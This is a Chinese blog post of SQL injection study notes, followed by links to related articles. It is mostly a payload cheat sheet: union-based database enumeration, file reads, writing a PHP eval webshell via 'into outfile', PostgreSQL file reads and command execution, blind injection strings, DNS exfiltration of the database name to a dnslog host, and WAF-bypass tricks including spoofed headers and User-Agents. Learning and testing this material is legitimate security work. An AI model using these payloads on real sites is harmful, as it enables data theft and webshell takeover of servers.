SQL注入学习笔记

注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

MYSQL

在MYSQL5.0以上版本中,存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以通过直询它获取指定数据库下的表名或列名信息。

  1. information_schema.tables 记录所有表名信息的表information_schema.co1umns 记录所有列名信息的表
  2. table_name 表名
  3. column_name 列名
  4. table_schema 数据库名

注入判断

  • and 1=1 正常 and 1=2 报错
  • 添加' 报错/显示异常
  • 传入非正常参数 报错/显示异常
  • union select 1,2,3--+判断显示位

数据库信息收集

  1. # 数据库版本
  2. version()
  3. # 数据库名
  4. database()
  5. # 数据库用户
  6. user()
  7. # 操作系统
  8. @@version_compile_os

常用查询命令

  1. # 查看数据库
  2. show databases;
  3. # 使用数据库
  4. use database_name;
  5. # 查看表
  6. show tables;
  7. # 查看表的数据
  8. select * from table_name;
  9. # 查看列数据
  10. select password from table_name;

分权限注入

首先通过user()命令获取当前用户权限

高权限时可以进行跨库注入文件读写

跨库注入

  1. # 从information_schema获取库名
  2. ?id=-1 union se1ect 1,group_concat(schema_name),3 from information_schema.schemata
  3. # 获取指定数据库下表名信息
  4. ?id=-1 union se1ect 1,group_concat(table_name),3 from information_schema.tables where table_schema="表名"
  5. # 获取指定表下的列名信息
  6. ?id=-1 union se1ect 1,group_concat(column_name),3 from information_schema.columns where table_schema="表名" and column_name="列名"
  7. # 获取指定列数据
  8. ?id=-1 union select 1,u,p,4 from 库名.admin

文件读写

  1. # 文件读取
  2. load_file()
  3. ?id=-1 union se1ect 1,load_file('C:/wwwroot/index.php'),3
  4. # 导出(写入)函数
  5. 1into out_file
  6. ?id=-1 union se1ect 1,'<?php @eval($_POST['shell']);?>',3 into outfile 'C:/wwwroot/bak.php'--+
  7. 2into dumpfile
  8. ?id=-1 union se1ect 1,'<?php @eval($_POST['shell']);?>',3 into dumpfile 'C:/wwwroot/bak.php'--+
  9. # 常见问题
  10. 1、魔术引号开关 magic_quotes_gpc addslashe()函数
  11. magic_quotes_gpc=On 时,输入数据中含单引号(')、双引号(")、反斜线C与NULL(NULL字符)等字符,都会被加上反斜线。这些转义是必须的。
  12. 这时使用编码或宽字节绕过
  13. 将函数传参编码为16进制(Hex)
  14. # 防御手段
  15. 自带防御:开启 agic_quotes_gpc
  16. 内置函数:对传入字符进行类型判断
  17. 自定义关键字过滤
  18. Waf防护
  19. # 文件路径获取
  20. 1.报错显示 网页快照等
  21. 2.扫描或找到phpinfo.php类遗留文件
  22. 3.网站爆路径漏洞
  23. 4.平台配置文件

低权限: 暴力猜解读取

不同参数类型注入

数字、字符(''$id')、搜索(%$id%)、JSON等;均可能存在注入漏洞

其中 SQL 语句干扰符号:' " % ) }等,具体需看写法

不同请求方法注入

若后端对请求头中参数进行操作,则GET、POST、COOKIE、REQUEST、HTTP头等也可能存在注入

其它数据库

Access 数据库

只含有一个名为Access的库 保存于网站源码下(为*.mdb)

Access无文件读写功能

暴力猜解失败时:进行偏移注入(解决列名获取不到的情况)

表名:查看登陆框源代码的表单值或观察URL特征等猜测

Sql Server(MsSql) 数据库

支持功能较多

参考文章

常用语句

  1. # 判断是否存在注入
  2. id=1 and 1=1 ;--
  3. id=1 and 1=2 ;--
  4. id=1/ 或者 id=1\
  5. id=1-0
  6. # 判断是否为mssql
  7. id=1 and user>0 ;-- # 正常
  8. # 判断数据库系统
  9. id=1 and (select count(*) from sysobjects)>0 ;-- Mssql
  10. id=1 and (select count(*) from msysobjects)>0 ;-- Access
  11. # 盲注延时函数
  12. waitfor delay '0:0:5' # 延时5秒

信息收集

  1. # 查询当前数据库版本
  2. @@version
  3. # 查询当前数据库名称
  4. db_name()
  5. # 查询当前用户
  6. use
  7. # 查询数据库权限
  8. IS_SRVROLEMEMBER()
  9. 常用权限:sysadminserveradminsetupadminsecurityadmindiskadminbulkadmin
  10. 例; select IS_SRVROLEMEMBER('sysadmin'); 返回‘1’为此权限

mariDB

可通过mysql.innodb_table_stats查询表名

PostgreSQL

常用命令

  1. select CURRENT_SCHEMA() #查看当前权限
  2. select user #查看用户
  3. select current_user #查看当前用户
  4. select chr(97) #将ASCII码转为字符
  5. select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
  6. SELECT session_user;
  7. SELECT usename FROM pg_user;
  8. SELECT getpgusername();
  9. select version() #查看PostgreSQL数据库版本
  10. SELECT current_database() #查看当前数据库
  11. select length('admin') #查看长度
  12. select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
  13. 例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
  14. select pg_read_file("/etc/passwd"); #读取文件
  15. select system("whoami"); #执行系统命令,11.2以下才有该命令
  16. COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件
  17. # 布尔盲注
  18. 1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48
  19. # 报错注入
  20. 1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)
  21. # 时间盲注
  22. select pg_sleep(3)

MongoDB

非关系型数据库,大部分工具不支持 查询方式特殊

从零学习 NoSQL 注入之 Mongodb

注入工具:NoSqlAttack

查询方式

  1. select查询数据
  2. 在网站应用中进行数据显示查询操作
  3. 例:select * from news where id=$id
  4. insert插入数据
  5. 在网站应用中进行用户注册添加等操作
  6. insert into news(id,url,text) values (2,'x','$t')
  7. delete删除数据
  8. 后台管理里面删除文章删除用户等操作
  9. 例:delete from news where id=$id
  10. update
  11. 更新数据会员或后台中心数据同步或缓存等操作
  12. 例:update user set pwd='$p' where id=2 and username='admin'
  13. order by排序数据
  14. 一般结合表名或列名进行数据排序操作
  15. 例:select * from news order by $idselect id,name,price from news order by Sorder

SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQ盲注-逻辑判断

regexp,like,ascii,left,ord,mid

基于时间的$QL盲注-延时判断

主要使用if,sleep函数

其次使用mid,ascii函数

通过 响应时间 判断是否存在注入

通过 响应时间 + 暴力猜解 枚举相关数据

遇到过滤时 使用Ascii编码

基于报错的SQL盲注-报错回显

使用floor,updatexml,extractvalue等函数通过报错回显相关数据

注入拓展

加解密注入

若数据请求时进行了编码或加密,则注入语句也应进行相应的编码或加密

可采用编写py参数处理脚本或PHP中转

二次注入(白盒)

第一步:插入恶意数据第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是据本身包含恶意内容。

第二步:引用恶意数据在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入

DNS注入

解决盲注不回显,效率低的问题

?id=1 and load_file(concat('//',database(),'.*.dnslog.cn/abc'))

堆叠注入(支持部分数据库)

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。

堆叠注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)

WAF绕过

搜索最新文章,总结新思路

SQL注入-绕过安全狗_一句话木马的博客-CSDN博客_sql注入绕过安全狗

更改提交方式

尝试使用不同的提交方式进行提交数据;达到绕过目的。

关键数据拦截绕过

常见关键词绕过

  1. order 可以用 group 来绕过
  2. 空格可以用/**/这个内敛注释绕过。
  3. 注释符,可以用单引号进行闭合,如group by 1,2'
  • 大小写

  • 加密解密

  • 编码解码

    换行%0A 注释%23

    id=-1 union%23a%0Aselect%201,2,3#

    id=-1 union%20/*//--/*/%20select%201,2,3--+

    /*//------//*//*%0a*/

  • 等价函数

  • 特殊符号

  • 反序列化

  • 注释符混用

    id=-1/**-1 union select 1,2,3#*/

参数污染

Fuzz测试

通过脚本批量组合payload,测试得到可用payload

白名单

如果拿到了网站WAF白名单,则可以尝试在header中修改参数绕过

  1. X-forwarded-for
  2. X-remote-IP
  3. X-originating-IP
  4. x-remote-addr
  5. X-Real-ip

静态资源

特定的静态资源后缀请求,常见的静态文件(js jpg swf css 等),类以白名单机制,waf为了检测效率,有时不去检测这样一些静态文件名后缀的请求。

http://127.0.0.1/index.php/1.js?id=1

url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要ur1中存在白名单的字符串,就作为白名单不进行检测。

常见的ur1构造姿势:

爬虫白名单(扫描绕过)

通过设置扫描器User-Agent仿造搜索引擎爬虫,绕过流量防护

  1. # 百度
  2. Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  3. # Google
  4. Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  5. Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  6. # 360
  7. Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider

数据库特性

根据目标数据库特殊语法构造Payload

如:MySql内联注释

SQL注入 基础学习的更多相关文章

  1. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  2. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  3. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  4. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  5. SQL 注入基础

    SQL注入 SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为. 本质:把用户输入的数据当作代码执行.任何和数据库产生交互的地方便有可能存在注入. SQL ...

  6. sql注入--基础

    什么是sql注入: 利用SQL语句 在外部 对数据库进行 查询,更新等 动作 sql注入的原理: 输入值可控且带入数据库执行(前提) 接受的变量传值未进行过滤(实质) sql注入的目的: 获取数据(网 ...

  7. Sql注入基础一

    凡是带入数据库查询的都有可能是注入.     整个数据包 Sql注入原理? 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作问题. Sql注入对于渗透的作用? 获取数据(网 ...

  8. SQL注入基础入门

    一般的WEB架构 SQL注入成因: 用户开启浏览器并连接http://www.xxx.com.位于逻辑层的Web服务器从文件系统中加载脚本将其传递给脚本引擎,脚本引擎负责解析并执行脚本. 脚本使用数据 ...

  9. SQL注入基础

    注入点的判断: 首先判断该注入点是怎么闭合的,常用的是','),')),",再利用and 1=2,and 1=1判断闭合是否正确 sql注入常用语句: 普通语句:schema_name——数 ...

随机推荐

  1. 基于SqlSugar的开发框架循序渐进介绍(5)-- 在服务层使用接口注入方式实现IOC控制反转

    在前面随笔,我们介绍过这个基于SqlSugar的开发框架,我们区分Interface.Modal.Service三个目录来放置不同的内容,其中Modal是SqlSugar的映射实体,Interface ...

  2. C/C++ 单元自动化测试解决方案实践

    vivo 互联网服务器团队 - Li Qingxin C/C++ 开发效率一直被业内开发人员诟病,单元测试开发效率也是如此,以至于开发人员不愿花时间来写单元测试.那么我们是不是可以通过改善编写单元测试 ...

  3. 《HALCON数字图像处理》第六章笔记

    目录 第六章 图像增强 图像增强的概念和分类 灰度变换 直方图处理 图像的平滑 图像的锐化 图像的彩色增强 我在Gitee上建了个仓库,会将学习书本的时候打的一些代码上传上去,笔记中所有代码都在仓库里 ...

  4. 《Unix 网络编程》15:Unix 域协议

    Unix 域协议 ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ 本 ...

  5. 【主流技术】Mybatis Plus的理解与应用

    前言 mybatis plus是一个mybatis的增强工具,在其基础上只做增强不做改变.作为开发中常见的第三方组件,学习并应用在项目中可以节省开发时间,提高开发效率. 官方文档地址:MyBatis- ...

  6. Pytorch实现波阻抗反演

    Pytorch实现波阻抗反演 1 引言 地震波阻抗反演是在勘探与开发期间进行储层预测的一项关键技术.地震波阻抗反演可消除子波影响,仅留下反射系数,再通过反射系数计算出能表征地层物性变化的物理参数.常用 ...

  7. python素描照片

    #!/usr/bin/python # -*- coding: utf-8 -*- from PIL import Image import numpy as np a = np.asarray(Im ...

  8. linux函数与数组

    1. 函数的定义 方法1: function_name () { statement } 方法2: function function_name () { statement } --先定义后使用 例 ...

  9. Node.js精进(8)——错误处理

    在 Node.js 中,提供了 error 模块,并且内置了标准的 JavaScript 错误,常见的有: EvalError:在调用 eval() 函数时出现问题时抛出该错误. SyntaxErro ...

  10. JDBC:获取自增长键值的序号

    1.改变的地方  实践: package com.dgd.test; import java.io.FileInputStream; import java.io.FileNotFoundExcept ...